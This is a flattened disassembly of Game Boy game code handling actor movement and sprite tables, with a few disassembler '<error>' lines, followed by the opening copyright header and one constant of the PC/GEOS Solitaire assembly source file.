nz, 0.l_70a8 ldh a, [$ff00 + $f0] cp $03 jr nz, 0.l_70a8 ld hl, $c390 add hl, bc ld e, [hl] ld hl, $c2c0 add hl, bc ld a, [hl] add a, e and $1f ld [hl], a ld a, [$d200] and a ld a, $00 jr nz, 0.l_70ba ld hl, $c440 add hl, bc inc [hl] ld a, [hl] rr a rr a and $1f ldh [$ff00 + $e8], a ld hl, $c200 add hl, bc ld [hl], $50 ld hl, $c210 add hl, bc ld [hl], $48 ldh a, [$ff00 + $e8] ld e, a ld d, b ld hl, $6f71 add hl, de ld a, [hl] ld hl, $c2c0 add hl, bc add a, [hl] and $1f ld e, a ld d, b push de ld hl, $c2d0 add hl, bc ld e, [hl] sla e ld d, b ld hl, $6ff1 add hl, de ldi a, [hl] ld h, [hl] ld l, a pop de ld a, $02 call func_71a3 ldh a, [$ff00 + $e8] ld e, a ld d, b ld hl, $6f91 add hl, de ld a, [hl] ld hl, $c2c0 add hl, bc add a, [hl] and $1f ld e, a ld d, b push de ld hl, $c2d0 add hl, bc ld e, [hl] dec e ld a, e cp $f0 jp nc, .l_71ea sla e ld d, b ld hl, $6ff1 add hl, de ldi a, [hl] ld h, [hl] ld l, a pop de ld a, $01 call func_71a3 ldh a, [$ff00 + $e8] ld e, a ld d, b ld hl, $6fb1 add hl, de ld a, [hl] ld hl, $c2c0 add hl, bc add a, [hl] and $1f ld e, a ld d, b push de ld hl, $c2d0 add hl, bc ld e, [hl] dec e dec e ld a, e cp $f0 jp nc, .l_71ea sla e ld d, b ld hl, $6ff1 add hl, de ldi a, [hl] ld h, [hl] ld l, a pop de ld a, $01 call func_71a3 ldh a, [$ff00 + $e8] ld e, a ld d, b ld hl, $6fd1 add hl, de ld a, [hl] ld hl, $c2c0 add hl, bc add a, [hl] and $1f ld e, a ld d, b push de ld hl, $c2d0 add hl, bc ld e, [hl] dec e dec e dec e ld a, e cp $f0 jp nc, .l_71ea sla e ld d, b ld hl, $6ff1 add hl, de ldi a, [hl] ld h, [hl] ld l, a pop de ld a, $01 call func_71a3 ld hl, $c2c0 add hl, bc ld e, [hl] ld d, b push de ld hl, $c2d0 add hl, bc ld e, [hl] dec e dec e dec e dec e ld a, e cp $f0 jp nc, .l_71ea sla e ld d, b ld hl, $6ff1 add hl, de ldi a, [hl] ld h, [hl] ld l, a pop de ld a, $00 ldh [$ff00 + $f1], a add hl, de ld a, $48 add a, [hl] ldh [$ff00 + $ec], a ld a, l add a, $08 ld l, a ld a, h adc a, $00 ld h, a ld a, $50 add a, [hl] ldh [$ff00 + $ee], a call func_7200 ldh a, [$ff00 + $98] ld hl, $ffee sub a, [hl] add a, $08 cp $10 jr nc, 0.l_71e9 ldh a, [$ff00 + $99] ld hl, $ffec sub a, [hl] add a, $08 cp $10 jr nc, 0.l_71e9 ld a, [$c11c] and a jr nz, 0.l_71e9 call func_3b93 ld a, $18 call func_3c30 ldh a, [$ff00 + $d7] ldh [$ff00 + $9b], a ldh a, [$ff00 + $d8] ldh [$ff00 + $9a], a ret pop de ret ld [hl], b nop ld [hl], b jr nz, 0.l_7263 nop ld [hl], d jr nz, 0.l_7269 nop ld [hl], h jr nz, 0.l_7275 nop ld a, h jr nz, 0.l_727b nop ld a, [hl] jr nz, 0.l_7212 <error> ld [hl], c call func_3c3b ret call func_78ac call func_7965 ldh a, [$ff00 + $f0] rst 0 ld h, $72 add a, l ld [hl], d ld c, b ld [hl], e push de ld [hl], e ld h, b ld [hl], h add hl, bc ld a, [bc] dec bc dec bc dec bc dec bc inc c dec c ld c, $0e ld c, $0e call func_0891 jp z, $7459 ld e, a cp $18 jr nz, 0.l_7235 ld a, $16 ldh [$ff00 + $f3], a ld a, e rr a rr a rr a and $07 ld e, a ld d, b ld hl, $c380 add hl, bc ld a, [hl] and a ld hl, $721a jr z, 0.l_724b ld hl, $7220 add hl, de ld a, [hl] call func_3b87 ret add hl, bc add hl, bc ld a, [bc] ld a, [bc] dec bc dec bc dec bc dec bc dec bc dec bc dec bc dec bc ld a, [bc] ld a, [bc] add hl, bc add hl, bc add hl, bc add hl, bc add hl, bc add hl, bc add hl, bc add hl, bc add hl, bc add hl, bc inc c inc c dec c dec c ld c, $0e ld c, $0e ld c, $0e ld c, $0e dec c dec c inc c inc c inc c inc c inc c inc c inc c inc c inc c inc c jr 0.l_725b inc b inc c call func_0891 jp z, $7459 ld e, a cp $20 jr nz, 0.l_7294 ld a, $16 ldh [$ff00 + $f3], a ld a, e rr a rr a and $1f ld e, a ld d, b ld hl, $c380 add hl, bc ld a, [hl] and a ld hl, $7251 jr z, 0.l_72a9 ld hl, $7269 add hl, de ld a, [hl] call func_3b87 cp $0b jr z, 0.l_72b7 cp $0e jp nz, .l_7347 ldh a, [$ff00 + $9e] and $02 jp z, .l_7347 ld a, [$c1a6] and a jp z, .l_7347 dec a ld [$d202], a ld e, a ld d, b ld hl, $c280 add hl, de ld a, [hl] and a jr z, 0.l_7347 ld hl, $c3a0 add hl, de ld a, [hl] cp $03 jr nz, 0.l_7347 ld hl, $c200 add hl, de ldh a, [$ff00 + $ee] sub a, [hl] add a, $08 cp $10 jr nc, 0.l_7347 ld hl, $c210 add hl, de ldh a, [$ff00 + $ec] sub a, [hl] add a, $0c cp $18 jr nc, 0.l_7347 ld a, [$d203] inc a ld [$d203], a cp $04 jr c, 0.l_7337 call func_27ed and $01 jr nz, 0.l_7337 ld hl, $c2b0 add hl, bc ld [hl], $02 call func_0887 ld [hl], $30 ld hl, $c300 add hl, bc ld [hl], $20 ld hl, $c380 add hl, bc ld e, [hl] ld d, b ld hl, $7281 add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a ld hl, $7283 add hl, de ld a, [hl] ld hl, $c290 add hl, bc ld [hl], a call func_76a1 ret call func_3b8d ld a, [$d201] ld e, a ld d, b ld hl, $c390 add hl, de ld a, [hl] cpl inc a ld [hl], a ret call func_78d2 ld a, $01 ld [$d200], a ld a, [$d202] ld e, a ld d, b ld hl, $c280 add hl, de ld a, [hl] and a jr z, 0.l_739c ld a, [$dbc7] and a jr nz, 0.l_739c ld hl, $c210 add hl, de ld a, [hl] ld hl, $c210 add hl, bc ld [hl], a ld a, [$d201] ld e, a ld d, b ld hl, $c2d0 add hl, de ld a, [hl] cp $00 jr z, 0.l_7382 ldh a, [$ff00 + $e7] and $03 jr nz, 0.l_7382 dec [hl] ldh a, [$ff00 + $e7] and $07 jr nz, 0.l_738c ld a, $29 ldh [$ff00 + $f2], a ld hl, $c380 add hl, bc ld a, [hl] and a ld a, $00 jr z, 0.l_7398 ld a, $01 call func_3b87 ret call func_3b8d call func_0891 ld [hl], $5f ret stop stop inc c ld [$0304], sp ld [bc], a ld bc, $0101 ld bc, $0101 ld bc, $0101 ld bc, $0101 ld bc, $0101 ld bc, $0301 rr a rr a ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf ccf call func_78d2 ld a, $01 ld [$d200], a ld hl, $c380 add hl, bc ld a, [hl] and a ld a, $08 jr z, 0.l_73e9 ld a, $0f call func_3b87 ldh a, [$ff00 + $98] push af ld hl, $c2c0 add hl, bc ld a, [hl] ldh [$ff00 + $98], a ldh a, [$ff00 + $99] push af ld hl, $c2d0 add hl, bc ld a, [hl] ldh [$ff00 + $99], a call func_0891 rr a rr a and $3f ld e, a ld d, b ld hl, $73a5 add hl, de ld a, [hl] call func_3c30 ldh a, [$ff00 + $d8] ld hl, $c240 add hl, bc ld [hl], a ldh a, [$ff00 + $d7] ld hl, $c250 add hl, bc ld [hl], a call func_79d1 ldh a, [$ff00 + $99] ld hl, $ffec sub a, [hl] add a, $03 cp $06 jr nc, 0.l_7431 call func_7459 pop af ldh [$ff00 + $99], a pop af ldh [$ff00 + $98], a call func_0891 rr a rr a and $3f ld e, a ld d, b ld hl, $73bd add hl, de ldh a, [$ff00 + $e7] and [hl] jr nz, 0.l_7458 ld a, [$d201] ld e, a ld d, b ld hl, $c2d0 add hl, de ld a, [hl] cp $04 jr z, 0.l_7458 inc [hl] ret xor a ld [$d200], a jp $7a6b call func_78d2 call func_0891 jp z, $74ad ld hl, $c420 add hl, bc ld [hl], a cp $80 jr nc, 0.l_7475 call func_7476 ret and $07 jr nz, 0.l_7497 call func_27ed and $1f sub a, $10 ld e, a ld hl, $ffee add a, [hl] ld [hl], a call func_27ed and $1f sub a, $10 ld e, a ld hl, $ffec add a, [hl] ld [hl], a call func_7498 ret call func_796b ldh a, [$ff00 + $ee] ldh [$ff00 + $d7], a ldh a, [$ff00 + $ec] ldh [$ff00 + $d8], a ld a, $02 call func_0953 ld a, $13 ldh [$ff00 + $f4], a ret ld a, $36 call func_3c01 jr 0.l_74c1 ld a, $36 call func_3c01 ld a, $48 ldh [$ff00 + $d7], a ld a, $10 ldh [$ff00 + $d8], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de ld [hl], a ldh a, [$ff00 + $d7] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $f9] and a jr z, 0.l_74dc ld hl, $c250 add hl, bc ld [hl], $f0 jr 0.l_74e8 ld hl, $c320 add hl, de ld [hl], $10 ld hl, $c310 add hl, de ld [hl], $08 call func_7a6b ld hl, $fff4 ld [hl], $1a ret inc bc dec b nop inc b ld [bc], a ld b, $01 rlc a call func_7597 call func_3dba call func_7965 ld a, $01 ld [$d200], a call func_0887 cp $10 jr nc, 0.l_7549 and a jr nz, 0.l_7541 ld a, [$d201] ld e, a ld d, b ld hl, $c2f0 add hl, de ld [hl], $1f ld a, $02 call func_3c01 call func_08d7 ldh a, [$ff00 + $d7] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de ld [hl], a ld hl, $c2e0 add hl, de ld [hl], $17 ld hl, $c440 add hl, de ld [hl], $01 jp $7459 ldh a, [$ff00 + $e7] ld hl, $c420 add hl, bc ld [hl], a ret ldh a, [$ff00 + $e7] and $07 jr nz, 0.l_755d ld a, [$d201] ld e, a ld d, b ld hl, $c2d0 add hl, de ld a, [hl] and a jr z, 0.l_755d dec [hl] ld hl, $c3d0 add hl, bc ld a, [hl] inc a and $7f ld [hl], a ld e, a ld d, b ld hl, $d000 add hl, de ldh a, [$ff00 + $ee] ld [hl], a ld hl, $d100 add hl, de ldh a, [$ff00 + $ec] ld [hl], a ld hl, $c300 add hl, bc ld a, [hl] and a jr z, 0.l_7583 call func_79d1 jr 0.l_7586 call func_762c ld hl, $c290 add hl, bc ld e, [hl] srl e ld d, b ld hl, $74f1 add hl, de ld a, [hl] call func_3b87 ret ldh a, [$ff00 + $f1] rl a rl a rl a rl a rl a and $e0 ld e, a ld d, b ld hl, $76ac add hl, de ld c, $08 call func_3d26 ld a, $08 call func_3dd0 ld hl, $c3d0 add hl, bc ld a, [hl] ldh [$ff00 + $d7], a ldh a, [$ff00 + $d7] sub a, $0c and $7f ld e, a ld d, b ld hl, $d000 add hl, de ld a, [hl] ldh [$ff00 + $ee], a ld hl, $d100 add hl, de ld a, [hl] ldh [$ff00 + $ec], a ld a, $00 ldh [$ff00 + $f1], a ld de, $71ec call func_3c3b ldh a, [$ff00 + $d7] sub a, $18 and $7f ld e, a ld d, b ld hl, $d000 add hl, de ld a, [hl] ldh [$ff00 + $ee], a ld hl, $d100 add hl, de ld a, [hl] ldh [$ff00 + $ec], a ld a, $00 ldh [$ff00 + $f1], a ld de, $71ec call func_3c3b ldh a, [$ff00 + $d7] sub a, $24 and $7f ld e, a ld d, b ld hl, $d000 add hl, de ld a, [hl] ldh [$ff00 + $ee], a ld hl, $d100 add hl, de ld a, [hl] ldh [$ff00 + $ec], a ld a, $02 ldh [$ff00 + $f1], a ld de, $71ec call func_3c3b ret nop ld b, $0c ld c, $10 ld c, $0c ld b, $00 ld a, [$f2f4] ldh a, [$ff00 + $f2] <error> ld a, [$0600] inc c ld c, $cd pop de ld a, c call func_3bbf call func_3b9e ld hl, $c2a0 add hl, bc ld a, [hl] and a jr z, 0.l_765a call func_27ed rr a jr c, 0.l_764b ld hl, $c2c0 add hl, bc ld a, [hl] cpl inc a ld [hl], a ld hl, $c290 add hl, bc ld a, [hl] add a, $08 and $0f ld [hl], a call func_0891 ld [hl], $10 call func_088c jr nz, 0.l_7688 ld [hl], $04 ld hl, $c2c0 add hl, bc ld a, [hl] ld hl, $c290 add hl, bc add a, [hl] and $0f ld [hl], a ld hl, $c290 add hl, bc ld e, [hl] ld d, b ld hl, $7618 add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a ld hl, $761c add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a call func_0891 jr nz, 0.l_76a0 call func_27ed and $1f add a, $10 ld [hl], a call func_27ed and $02 dec a ld hl, $c2c0 add hl, bc ld [hl], a ret ld e, $80 ld hl, $d100 xor a ldi [hl], a dec e jr nz, 0.l_76a6 ret ldhl sp, d ldhl sp, d ld h, b nop ldhl sp, d nop ld h, d nop ldhl sp, d ld [$2062], sp ldhl sp, d stop ld h, b jr nz, 0.l_76c5 ldhl sp, d ld h, h nop ld [$6600], sp nop ld [$6608], sp jr nz, 0.l_76d1 stop ld h, h jr nz, 0.l_76c5 ldhl sp, d ld h, h ld b, b ldhl sp, d nop ld h, [hl] ld b, b ldhl sp, d ld [$6066], sp ldhl sp, d stop ld h, h ld h, b ld [$60f8], sp ld b, b ld [$6200], sp ld b, b ld [$6208], sp ld h, b ld [$6010], sp ld h, b ldhl sp, d ldhl sp, d ld l, b nop ldhl sp, d nop ld l, d nop ldhl sp, d ld [$2062], sp ldhl sp, d stop ld h, b jr nz, 0.l_7705 ldhl sp, d ld l, b ld b, b ld [$6a00], sp ld b, b ld [$6208], sp ld h, b ld [$6010], sp ld h, b ldhl sp, d ldhl sp, d ld h, b nop ldhl sp, d nop ld h, d nop ldhl sp, d ld [$206a], sp ldhl sp, d stop ld l, b jr nz, 0.l_7725 ldhl sp, d ld h, b ld b, b ld [$6200], sp ld b, b ld [$6a08], sp ld h, b ld [$6810], sp ld h, b ldhl sp, d ldhl sp, d ld h, b nop ldhl sp, d nop ld h, d nop ldhl sp, d ld [$2062], sp ldhl sp, d stop ld h, b jr nz, 0.l_7745 ldhl sp, d ld l, h nop ld [$6e00], sp nop ld [$6208], sp ld h, b ld [$6010], sp ld h, b ldhl sp, d ldhl sp, d ld h, b nop ldhl sp, d nop ld h, d nop ldhl sp, d ld [$2062], sp ldhl sp, d stop ld h, b jr nz, 0.l_7765 ldhl sp, d ld h, b ld b, b ld [$6200], sp ld b, b ld [$6e08], sp jr nz, 0.l_7771 stop ld l, h jr nz, 0.l_7765 ldhl sp, d ld l, h ld b, b ldhl sp, d nop ld l, [hl] ld b, b ldhl sp, d ld [$2062], sp ldhl sp, d stop ld h, b jr nz, 0.l_7785 ldhl sp, d ld h, b ld b, b ld [$6200], sp ld b, b ld [$6208], sp ld h, b ld [$6010], sp ld h, b ldhl sp, d ldhl sp, d ld h, b nop ldhl sp, d nop ld h, d nop ldhl sp, d ld [$606e], sp ldhl sp, d stop ld l, h ld h, b ld [$60f8], sp ld b, b ld [$6200], sp ld b, b ld [$6208], sp ld h, b ld [$6010], sp ld h, b ldhl sp, d ldhl sp, d ld h, b nop ldhl sp, d nop ld h, d nop ldhl sp, d ld [$2062], sp ldhl sp, d stop ld h, b jr nz, 0.l_77c5 ldhl sp, d ld a, b nop ld [$7a00], sp nop ld [$7a08], sp jr nz, 0.l_77d1 stop ld a, b jr nz, 0.l_77d5 nop halt nop ld [$7608], sp jr nz, 0.l_77dd ld [$2076], sp ld [$7608], sp jr nz, 0.l_77e5 ld [$2076], sp ld [$7608], sp jr nz, 0.l_77ed ld [$2076], sp ld [$7608], sp jr nz, 0.l_77f5 ldhl sp, d ld h, h nop ld [$6600], sp nop ld [$6608], sp jr nz, 0.l_7801 stop ld h, h jr nz, 0.l_7805 ldhl sp, d ld h, h nop ld [$6600], sp nop ld [$6608], sp jr nz, 0.l_7811 stop ld h, h jr nz, 0.l_7815 ldhl sp, d ld a, b nop ld [$7a00], sp nop ld [$7a08], sp jr nz, 0.l_7821 stop ld a, b jr nz, 0.l_7825 ldhl sp, d ld a, b nop ld [$7a00], sp nop ld [$7a08], sp jr nz, 0.l_7831 stop ld a, b jr nz, 0.l_7825 nop halt ld b, b ldhl sp, d ld [$6076], sp ldhl sp, d ld [$6076], sp ldhl sp, d ld [$6076], sp ldhl sp, d ld [$6076], sp ldhl sp, d ld [$6076], sp ldhl sp, d ld [$6076], sp ldhl sp, d ld [$6076], sp ldhl sp, d ldhl sp, d ld h, h ld b, b ldhl sp, d nop ld h, [hl] ld b, b ldhl sp, d ld [$6066], sp ldhl sp, d stop ld h, h ld h, b ldhl sp, d ldhl sp, d ld h, h ld b, b ldhl sp, d nop ld h, [hl] ld b, b ldhl sp, d ld [$6066], sp ldhl sp, d stop ld h, h ld h, b ldhl sp, d ldhl sp, d ld a, b ld b, b ldhl sp, d nop ld a, d ld b, b ldhl sp, d ld [$607a], sp ldhl sp, d stop ld a, b ld h, b ldhl sp, d ldhl sp, d ld a, b ld b, b ldhl sp, d nop ld a, d ld b, b ldhl sp, d ld [$607a], sp ldhl sp, d stop ld a, b ld h, b ld [$60f8], sp ld b, b ld [$6200], sp ld b, b ld [$6208], sp ld h, b ld [$6010], sp ld h, b ldhl sp, d ldhl sp, d ld a, b ld b, b ldhl sp, d nop ld a, d ld b, b ldhl sp, d ld [$607a], sp ldhl sp, d stop ld a, b ld h, b ldh a, [$ff00 + $f1] ld d, b rl a rl d rl a rl d rl a rl d rl a rl d rl a rl d and $e0 ld e, a ld hl, $76ac add hl, de ld c, $08 call func_3d26 ld a, $08 call func_3dd0 ret <error> ld c, $f0 rst 20 and $10 ld a, $03 jr z, 0.l_78db inc a ldh [$ff00 + $f1], a nop ld hl, $c380 add hl, bc ld e, [hl] ld d, b ld hl, $78d0 add hl, de ld a, [hl] ld hl, $ffec add a, [hl] ld [hl], a cp $14 jr c, 0.l_794a cp $7c jr nc, 0.l_794a ld de, $71ec call func_3c3b ldh a, [$ff00 + $f0] cp $04 jr nc, 0.l_7948 ldh a, [$ff00 + $f1] and a jr z, 0.l_7945 xor a ldh [$ff00 + $f1], a call func_3beb ld hl, $c420 add hl, bc ld a, [hl] cp $16 jr nz, 0.l_7945 ld hl, $d204 inc [hl] ld a, [hl] cp $08 jr nz, 0.l_7945 ld a, [$d201] ld e, a ld d, b ld hl, $c280 add hl, de ld [hl], b call func_3b8d ld [hl], $04 call func_0891 ld [hl], $ff call func_27d2 ld a, $03 ld [$c5a7], a ld a, $5e ld [$d368], a ld a, $b5 call func_2197 call func_3bbf jr 0.l_78de call func_3dba ld hl, $c420 add hl, bc ld a, [hl] and a jr nz, 0.l_7964 ld hl, $c430 add hl, bc ld [hl], $c0 call func_3beb ld hl, $c430 add hl, bc ld [hl], $80 ret ldh a, [$ff00 + $ea] cp $05 jr nz, 0.l_7985 ld a, [$db95] cp $07 jr z, 0.l_7985 ld hl, $c1a8 ld a, [$c19f] or [hl] ld hl, $c14f or [hl] jr nz, 0.l_7985 ld a, [$c124] and a jr z, 0.l_7986 pop af ret ld hl, $c410 add hl, bc ld a, [hl] and a jr z, 0.l_79d0 dec a ld [hl], a call func_3eb8 ld hl, $c240 add hl, bc ld a, [hl] push af ld hl, $c250 add hl, bc ld a, [hl] push af ld hl, $c3f0 add hl, bc ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $c400 add hl, bc ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a call func_79d1 ld hl, $c430 add hl, bc ld a, [hl] and $20 jr nz, 0.l_79c3 call func_3b9e ld hl, $c250 add hl, bc pop af ld [hl], a ld hl, $c240 add hl, bc pop af ld [hl], a pop af ret call func_79de push bc ld a, c add a, $10 ld c, a call func_79de pop bc ret ld hl, $c240 add hl, bc ld a, [hl] and a jr z, 0.l_7a09 push af swap a and $f0 ld hl, $c260 add hl, bc add a, [hl] ld [hl], a rl d ld hl, $c200 add hl, bc pop af ld e, $00 bit 7, a jr z, 0.l_7a00 ld e, $f0 swap a and $0f or e rr d adc a, [hl] ld [hl], a ret ld hl, $c320 add hl, bc ld a, [hl] and a jr z, 0.l_7a09 push af swap a and $f0 ld hl, $c330 add hl, bc add a, [hl] ld [hl], a rl d ld hl, $c310 jr 0.l_79f6 ld e, $00 ldh a, [$ff00 + $98] ld hl, $c200 add hl, bc sub a, [hl] bit 7, a jr z, 0.l_7a32 inc e ld d, a ret ld e, $02 ldh a, [$ff00 + $99] ld hl, $c210 add hl, bc sub a, [hl] bit 7, a jr nz, 0.l_7a42 inc e ld d, a ret call func_7a24 ld a, e ldh [$ff00 + $d7], a ld a, d bit 7, a jr z, 0.l_7a51 cpl inc a push af call func_7a34 ld a, e ldh [$ff00 + $d8], a ld a, d bit 7, a jr z, 0.l_7a5f cpl inc a pop de cp d jr nc, 0.l_7a67 ldh a, [$ff00 + $d7] jr 0.l_7a69 ldh a, [$ff00 + $d8] ld e, a ret ld hl, $c280 add hl, bc ld [hl], b ret stop ldh a, [$ff00 + $18] add sp, d nop ldh a, [$ff00 + $64] nop nop ldhl sp, d ld h, [hl] nop nop nop ld h, b nop nop ld [$2060], sp nop stop ld l, d jr nz, 0.l_7a8a jr 0.l_7af4 jr nz, 0.l_7a8e ldh a, [$ff00 + $6c] nop nop ldhl sp, d ld l, [hl] nop nop nop ld h, b nop nop ld [$2060], sp nop stop ld l, [hl] jr nz, 0.l_7aa2 jr 0.l_7b10 jr nz, 0.l_7aa6 ldh a, [$ff00 + $68] nop nop ldhl sp, d ld l, d nop nop nop ld h, b nop nop ld [$2060], sp nop stop ld h, [hl] jr nz, 0.l_7aba jr 0.l_7b20 jr nz, 0.l_7abe ldh a, [$ff00 + $64] nop nop ldhl sp, d ld h, [hl] nop nop nop ld h, d nop nop ld [$2062], sp nop stop ld l, d jr nz, 0.l_7ad2 jr 0.l_7b3c jr nz, 0.l_7ad6 ldh a, [$ff00 + $6c] nop nop ldhl sp, d ld l, [hl] nop nop nop ld h, d nop nop ld [$2062], sp nop stop ld l, [hl] jr nz, 0.l_7aea jr 0.l_7b58 jr nz, 0.l_7aee ldh a, [$ff00 + $68] nop nop ldhl sp, d ld l, d nop nop nop ld h, d nop nop ld [$2062], sp nop stop ld h, [hl] jr nz, 0.l_7b02 jr 0.l_7b68 jr nz, 0.l_7b00 ld h, [hl] pop bc cp $01 jr nz, 0.l_7b16 call func_7bf5 ld hl, $c290 add hl, bc ld a, [hl] ldh [$ff00 + $f0], a ldh a, [$ff00 + $f1] rl a rl a rl a and $f8 ld c, a rl a and $f0 add a, c ld e, a ld d, b ld hl, $7a75 add hl, de ld c, $06 call func_3d26 ld a, $06 call func_3dd0 ldh a, [$ff00 + $ea] cp $05 jp nz, .l_7d8d call func_7965 call func_3f12 call func_3bb4 call func_79d1 call func_3b9e call func_08e2 ldh a, [$ff00 + $f0] rst 0 ld d, [hl] ld a, e ld [hl], d ld a, e add a, e ld a, h dec hl ld a, l call func_27ed and $01 ld hl, $c2b0 add hl, bc ld [hl], a ld e, a ld d, b ld hl, $7a71 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a call func_3b8d ld [hl], $01 ret ld hl, $c300 add hl, bc ld a, [hl] and a ret nz call func_088c jp nz, .l_7c09 call func_0891 jr z, 0.l_7ba9 cp $01 jr nz, 0.l_7bbc call func_7a24 ld d, b ld hl, $7a73 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $c250 add hl, bc ld [hl], b call func_088c call func_27ed and $3f add a, $60 ld [hl], a jp .l_7c09 ld hl, $c210 add hl, bc ld a, [hl] add a, $08 ld hl, $ff99 cp [hl] jp c, .l_7bd3 call func_0891 ld [hl], $60 ld hl, $c250 add hl, bc ld [hl], b ld hl, $c240 add hl, bc and $04 jr nz, 0.l_7bce ld [hl], $08 jp .l_7c61 ld [hl], $f8 jp .l_7c61 ld hl, $c210 add hl, bc ldh a, [$ff00 + $99] sub a, [hl] cp $28 jr nc, 0.l_7c09 ld hl, $c480 add hl, bc ld a, [hl] and a jr nz, 0.l_7c09 call func_27ed and $7f add a, $40 ld [hl], a and $03 jr z, 0.l_7c42 dec a jr nz, 0.l_7c09 call func_3b8d ld [hl], $03 call func_3daf ld hl, $c300 add hl, bc ld [hl], $40 ld a, $01 call func_7c80 ret ld hl, $c2a0 add hl, bc ld a, [hl] and $03 jr z, 0.l_7c2a call func_088c jr z, 0.l_7c22 ld hl, $c240 add hl, bc ld a, [hl] xor $f0 ld [hl], a jp .l_7c61 ld hl, $c2b0 add hl, bc ld a, [hl] xor $01 ld [hl], a call func_088c jr nz, 0.l_7c61 ld hl, $c2b0 add hl, bc ld a, [hl] ld e, a ld d, b ld hl, $7a71 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a jr 0.l_7c69 call func_0891 ld [hl], $60 call func_088c ld [hl], b call func_3b8d ld [hl], $02 ld hl, $c2b0 add hl, bc ld [hl], b ld hl, $c210 add hl, bc ld a, [hl] ld hl, $c2d0 add hl, bc ld [hl], a jr 0.l_7c69 ldh a, [$ff00 + $e7] and $07 jr z, 0.l_7c6f jr 0.l_7c7b ldh a, [$ff00 + $e7] and $0f jr nz, 0.l_7c7b ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] cp $03 jr nz, 0.l_7c7b ld [hl], $00 ld hl, $c3d0 add hl, bc ld a, [hl] jp $3b87 ld hl, $c2b0 add hl, bc ld a, [hl] and a jp nz, .l_7cfd call func_0891 cp $02 jr nc, 0.l_7ced cp $00 jr z, 0.l_7cc9 ld hl, $ff99 ld a, [hl] ld hl, $c390 add hl, bc ld [hl], a call func_27ed and $02 jr z, 0.l_7cb3 call func_3daf ld hl, $c250 add hl, bc ld [hl], $10 jp .l_7cb8 ld a, $10 call func_3c25 ld hl, $c210 add hl, bc ld a, [hl] add a, $08 ld hl, $ff99 cp [hl] jp nc, .l_7d09 jp .l_7d11 ld hl, $c390 add hl, bc ld a, [hl] sub a, $08 ld hl, $c210 add hl, bc cp [hl] jp nc, .l_7d11 ld hl, $c2b0 add hl, bc inc [hl] call func_3daf ld hl, $c250 add hl, bc ld [hl], $f0 ld a, $16 ldh [$ff00 + $f3], a jp .l_7d11 ld hl, $c240 add hl, bc and $04 jr nz, 0.l_7cf9 ld [hl], $08 jr 0.l_7d11 ld [hl], $f8 jr 0.l_7d11 ld hl, $c2d0 add hl, bc ld a, [hl] ld hl, $c210 add hl, bc cp [hl] jr c, 0.l_7d11 call func_3daf call func_3b8d ld [hl], $01 ldh a, [$ff00 + $e7] and $0f jr nz, 0.l_7d23 ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] cp $03 jr nz, 0.l_7d23 ld [hl], $00 ld hl, $c3d0 add hl, bc ld a, [hl] jp $3b87 ld hl, $c300 add hl, bc ld a, [hl] and a jr z, 0.l_7d34 ret call func_088c cp $02 jr nc, 0.l_7d5b cp $00 jr z, 0.l_7d56 ld hl, $c350 add hl, bc ld [hl], $80 ld a, $01 call func_3b87 call func_3b8d ld [hl], $01 ld hl, $c300 add hl, bc ld [hl], $40 ret call func_088c ld [hl], $30 cp $18 jr nz, 0.l_7d82 ld a, $7d call func_3c01 jr c, 0.l_7d82 ldh a, [$ff00 + $d7] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de ld [hl], a ld hl, $c2b0 add hl, de inc [hl] push bc push de pop bc ld a, $18 call func_3c25 pop bc ld hl, $c350 add hl, bc ld [hl], $00 ld a, $04 jp $3b87 ld hl, $c2c0 add hl, bc ld a, [hl] rst 0 sbc a, c ld a, l xor d ld a, l cp e ld a, l call func_0891 ld [hl], $a0 ld hl, $c420 add hl, bc ld [hl], $ff ld hl, $c2c0 add hl, bc inc [hl] ret call func_0891 jr nz, 0.l_7dba ld [hl], $c0 ld hl, $c420 add hl, bc ld [hl], $ff call func_7da4 ret call func_0891 jr nz, 0.l_7df8 ld a, $1a ldh [$ff00 + $f4], a ldh a, [$ff00 + $eb] cp $63 jp z, .l_74b4 call func_3f7a ld e, $0f ld d, b ld hl, $c280 add hl, de ld a, [hl] and a jr z, 0.l_7de2 ld hl, $c430 add hl, de ld a, [hl] and $80 jr nz, 0.l_7df0 dec e ld a, e cp $ff jr nz, 0.l_7dd1 xor a ld [$c1cf], a call func_27bd ret ldh a, [$ff00 + $f7] cp $05 ret nc jp .l_7dfc call func_7476 ret ldh a, [$ff00 + $f6] ld e, a ld d, b ldh a, [$ff00 + $f7] cp $1a jr nc, 0.l_7e0b cp $06 jr c, 0.l_7e0b inc d ld hl, $d900 add hl, de set 5, [hl] ret rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 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Appl/Games/Solitaire/solitaireGame.asm
steakknife/pcgeos
504
244040
COMMENT @---------------------------------------------------------------------- Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Solitaire FILE: Solitaire.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 9/90 Initial Version DESCRIPTION: RCS STAMP: $Id: solitaireGame.asm,v 1.1 97/04/04 15:46:57 newdeal Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ _JEDI = FALSE ;------------------------------------------------------------------------------ ; Libraries used ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Macros ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Constants ;------------------------------------------------------------------------------ ; ; This constant is stuck in the handle of the game's last donor ; data indicating that no card transfers have taken place yet. ; USER_HASNT_STARTED_PLAYING_YET = 0 ; ; 